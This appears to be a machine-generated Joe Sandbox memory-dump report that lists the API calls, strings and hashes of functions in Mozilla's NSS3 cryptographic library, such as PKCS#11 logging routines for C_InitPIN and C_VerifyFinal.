SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6E4FC8

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 64868545b914f872cfb0ce852855cb5e0259186df79b775e395a0d2a0563783b
Instruction ID: 9b7a6258613f83322f41fb2ccc504c363035a45609de7ed6e011f99756253e8a
Opcode Fuzzy Hash: 64868545b914f872cfb0ce852855cb5e0259186df79b775e395a0d2a0563783b
Instruction Fuzzy Hash: 0681D1719093019FE701CFB4D844BAAB7E4AFC8718F04852EF958CB641E7B0E905CB96

Function 6C725C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C725C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C725CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C725CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C725D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C725D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C725D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C725E18
TlsGetValue.KERNEL32 ref: 6C725E5E
EnterCriticalSection.KERNEL32(?), ref: 6C725E72
PR_Unlock.NSS3(?), ref: 6C725E8B

Part of subcall function 6C71F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C71F854
Part of subcall function 6C71F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C71F868
Part of subcall function 6C71F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C71F882
Part of subcall function 6C71F820: free.MOZGLUE(04C483FF,?,?), ref: 6C71F889
Part of subcall function 6C71F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C71F8A4
Part of subcall function 6C71F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C71F8AB
Part of subcall function 6C71F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C71F8C9
Part of subcall function 6C71F820: free.MOZGLUE(280F10EC,?,?), ref: 6C71F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C725D3D
d, xrefs: 6C725C36

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 7859894462caba9d6532d781cb8b95abd281b058d49e1e484dbc132d264a32ca
Instruction ID: 5d5fa21e815d877eeb98a285172668c61a75fd51e4ec9e420a4adfbbff3d8608
Opcode Fuzzy Hash: 7859894462caba9d6532d781cb8b95abd281b058d49e1e484dbc132d264a32ca
Instruction Fuzzy Hash: BE7103B1E041019BEB509F25FE8976A3279EF4131CF184035E8099AB4AFB3AE955C7D2

Function 6C718F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C719582), ref: 6C718F5B

Part of subcall function 6C72BE30: SECOID_FindOID_Util.NSS3(6C6E311B,00000000,?,6C6E311B,?), ref: 6C72BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C718F6A

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C718FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C718FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C7FD820,6C719576), ref: 6C718FF9
DER_GetInteger_Util.NSS3(?), ref: 6C71901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C71903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C719062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C7190A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C7190CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C7190F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C71912D
free.MOZGLUE(00000000), ref: 6C719136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C719145

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 6ef516e555ade3b7ac5dab15e5b301ceee1af56112b218150abf56da92a9f232
Instruction ID: c94317e3c778cb395b384e98e81612c6ceee3e4359d7990fadbb3b912755a942
Opcode Fuzzy Hash: 6ef516e555ade3b7ac5dab15e5b301ceee1af56112b218150abf56da92a9f232
Instruction Fuzzy Hash: 9051D6B1A082009BE700CF28DD85B97B7E8EF94358F094539EC5997B41E735E949CBD2

Function 6C70ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C70ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C70AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C70AE29

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C70AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C70AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C70AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C70AEA0

Strings

hSession = 0x%x, xrefs: 6C70AE01, 6C70AE11
C_MessageSignInit, xrefs: 6C70ADE1
(CK_INVALID_HANDLE), xrefs: 6C70AE1F, 6C70AE80
hKey = 0x%x, xrefs: 6C70AE62, 6C70AE72
n~l, xrefs: 6C70AEB8, 6C70AEE6

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$n~l
API String ID: 332880674-2082818784
Opcode ID: c96a8c8f3d3b2549131d6a73096bcd24e27ce1542dd0c9860a29325752000e5c
Instruction ID: 58be8b4d9ab3dfcab8302d4acc0123281082af87dcab4315149a1afa96dd6b07
Opcode Fuzzy Hash: c96a8c8f3d3b2549131d6a73096bcd24e27ce1542dd0c9860a29325752000e5c
Instruction Fuzzy Hash: 4631D7B2701104ABCB219F94DF8DBAE37B9AB4671DF044834E40C5B702DB34A949DBD6

Function 6C709EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C709F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C709F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C709F49

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C709F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C709F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C709FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C709FC0

Strings

hSession = 0x%x, xrefs: 6C709F21, 6C709F31
(CK_INVALID_HANDLE), xrefs: 6C709F3F, 6C709FA0
hKey = 0x%x, xrefs: 6C709F82, 6C709F92
C_MessageEncryptInit, xrefs: 6C709F01
n~l, xrefs: 6C709FD8, 6C70A006

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$n~l
API String ID: 332880674-1349225204
Opcode ID: f1d99123ddaf46b95e0b636223666f77ac6c8e64245a60518f0b5929b83fd959
Instruction ID: 867453c7285922085a8f684a6a8a99c8a90e62c3a2eb00b510d1fcd7a25b630c
Opcode Fuzzy Hash: f1d99123ddaf46b95e0b636223666f77ac6c8e64245a60518f0b5929b83fd959
Instruction Fuzzy Hash: AC31FAB1701244ABCB209F94DF8CBAE37B5AB5631DF044834E40C9BB42DB34A949CBD6

Function 6C702DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C702DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C702E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C702E33

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C702E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C702E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C702E81

Strings

hSession = 0x%x, xrefs: 6C702E0E, 6C702E1E
pPin = 0x%p, xrefs: 6C702E63
(CK_INVALID_HANDLE), xrefs: 6C702E2C
C_InitPIN, xrefs: 6C702DF1
ulPinLen = %d, xrefs: 6C702E7C
n~l, xrefs: 6C702E99, 6C702EC4

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$n~l
API String ID: 1003633598-4264999302
Opcode ID: fa68ec46880d0c8be872d63aff9aa0e5abff49468a01803e824bf4d309b0a7de
Instruction ID: 0cdf7c9f9e083d2cd347338d831c5e54f835b34d7294880b1e600a1e1d6f13d2
Opcode Fuzzy Hash: fa68ec46880d0c8be872d63aff9aa0e5abff49468a01803e824bf4d309b0a7de
Instruction Fuzzy Hash: ED31C6B2701154ABDB309B94DF8CB5A3BB9EB4631DF444834E80C97752DB34A949CBD2

Function 6C707E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C707E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C707E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C707E63

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C707E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C707E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C707EB1

Strings

hSession = 0x%x, xrefs: 6C707E3E, 6C707E4E
pPart = 0x%p, xrefs: 6C707E93
C_VerifyUpdate, xrefs: 6C707E21
(CK_INVALID_HANDLE), xrefs: 6C707E5C
ulPartLen = %d, xrefs: 6C707EAC
n~l, xrefs: 6C707EC9, 6C707EF7

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$n~l
API String ID: 1003633598-2768106410
Opcode ID: fb916bb89401e7674aeb61aff8e3d94d9229bb4dfd60c97f1c600dbed632a3b7
Instruction ID: 45e7a0940f7650fbbf797f975cc5b668fc3375df1522a3912f8abd598fbebf8e
Opcode Fuzzy Hash: fb916bb89401e7674aeb61aff8e3d94d9229bb4dfd60c97f1c600dbed632a3b7
Instruction Fuzzy Hash: E4319475B02154ABD7209B94DF8CB5A3BB5AB4631DF044434E80C57712DB34AD49CBD6

Function 6C706EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C706F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C706F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C706F53

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C706F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C706F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C706FA1

Strings

hSession = 0x%x, xrefs: 6C706F2E, 6C706F3E
pPart = 0x%p, xrefs: 6C706F83
(CK_INVALID_HANDLE), xrefs: 6C706F4C
ulPartLen = %d, xrefs: 6C706F9C
C_DigestUpdate, xrefs: 6C706F11
n~l, xrefs: 6C706FB9, 6C706FE7

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$n~l
API String ID: 1003633598-1529889021
Opcode ID: 294306ad66ff44149fa96485cdffe8b07e49f4e823692ed53ece4a14adfae5b9
Instruction ID: d4044eb16c78ad4c04b2fbaeb4e5b50e66ea979b8ee206d10be91afa3681c0f1
Opcode Fuzzy Hash: 294306ad66ff44149fa96485cdffe8b07e49f4e823692ed53ece4a14adfae5b9
Instruction Fuzzy Hash: 0A31C4B57011549BDB209BA4DF9CB4A3BF1EB4631DF044834E80C97712DB34AA88CBD2

Function 6C707F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C707F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C707F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C707F93

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C707FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C707FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C707FE1

Strings

hSession = 0x%x, xrefs: 6C707F6E, 6C707F7E
ulSignatureLen = %d, xrefs: 6C707FDC
(CK_INVALID_HANDLE), xrefs: 6C707F8C
pSignature = 0x%p, xrefs: 6C707FC3
C_VerifyFinal, xrefs: 6C707F51
n~l, xrefs: 6C707FF9, 6C708027

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$n~l
API String ID: 1003633598-3505222802
Opcode ID: 23e407680bff543effd5425b0145c402e78cfa2aca1599c0e6306e0276d062a9
Instruction ID: fc06d8ccb3b7940f00e2fea4642ea2d25a9b0750858557a536afd0a43a49d1d4
Opcode Fuzzy Hash: 23e407680bff543effd5425b0145c402e78cfa2aca1599c0e6306e0276d062a9
Instruction Fuzzy Hash: DF31C1B1701154ABDB209B94DF8CB8A7BB5AB8631DF044835E80C97712DB34B949DBE2

Function 6C6CAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C6CAF47

Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990AB
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990C9
Part of subcall function 6C799090: EnterCriticalSection.KERNEL32 ref: 6C7990E5
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C799116
Part of subcall function 6C799090: LeaveCriticalSection.KERNEL32 ref: 6C79913F

FreeLibrary.KERNEL32(?), ref: 6C6CAF6D
free.MOZGLUE(?), ref: 6C6CAFA4
free.MOZGLUE(?), ref: 6C6CAFAA
PR_ExitMonitor.NSS3 ref: 6C6CAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C6CAFF5
PR_ExitMonitor.NSS3 ref: 6C6CB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6CB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C6CB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6CB03C

Strings

Unloaded library %s, xrefs: 6C6CB023
%s decr => %d, xrefs: 6C6CAFF0

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 71cb7019aca1d830e835f0f90fdb2374b8ae48788d770a6fc8a8723b790483c8
Instruction ID: f06ddf388c7cb0face394fc05475b26cff584dc1d19754e0b986ed44c7d11b23
Opcode Fuzzy Hash: 71cb7019aca1d830e835f0f90fdb2374b8ae48788d770a6fc8a8723b790483c8
Instruction Fuzzy Hash: 61313BB5B04110ABEB219FA5DC48A55B775EB4570CB184535EC2987B02F332E818C7F7

Function 6C716C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C71781D,00000000,6C70BE2C,?,6C716B1D,?,?,?,?,00000000,00000000,6C71781D), ref: 6C716C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C71781D,?,6C70BE2C,?), ref: 6C716C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C71781D), ref: 6C716C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C716C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C716C96

Part of subcall function 6C6C1240: TlsGetValue.KERNEL32(00000040,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C1267
Part of subcall function 6C6C1240: EnterCriticalSection.KERNEL32(?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C127C
Part of subcall function 6C6C1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C1291
Part of subcall function 6C6C1240: PR_Unlock.NSS3(?,?,?,?,6C6C116C,NSPR_LOG_MODULES), ref: 6C6C12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C716CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C716C91
dbm, xrefs: 6C716CA4
rdb:, xrefs: 6C716C69
sql:, xrefs: 6C716C52
extern:, xrefs: 6C716C7E
dbm:, xrefs: 6C716C3A

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 5fd4741bd69cf7887b718c2c2c0270bcd379e1ea45dc6d6718fb1ab2522627d8
Instruction ID: b0a7d9f188ce1ae914e53b1dc493703dfba5152a03e71f4192e5f57193d30fa3
Opcode Fuzzy Hash: 5fd4741bd69cf7887b718c2c2c0270bcd379e1ea45dc6d6718fb1ab2522627d8
Instruction Fuzzy Hash: F70144F670A31227F7202B799E49F66255CEB4219DF180835FE04E1E42EA96E71480E6

Function 6C724E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6E78F8), ref: 6C724E6D

Part of subcall function 6C6C09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6C06A2,00000000,?), ref: 6C6C09F8
Part of subcall function 6C6C09E0: malloc.MOZGLUE(0000001F), ref: 6C6C0A18
Part of subcall function 6C6C09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6C0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6E78F8), ref: 6C724ED9

Part of subcall function 6C715920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C717703,?,00000000,00000000), ref: 6C715942
Part of subcall function 6C715920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C717703), ref: 6C715954
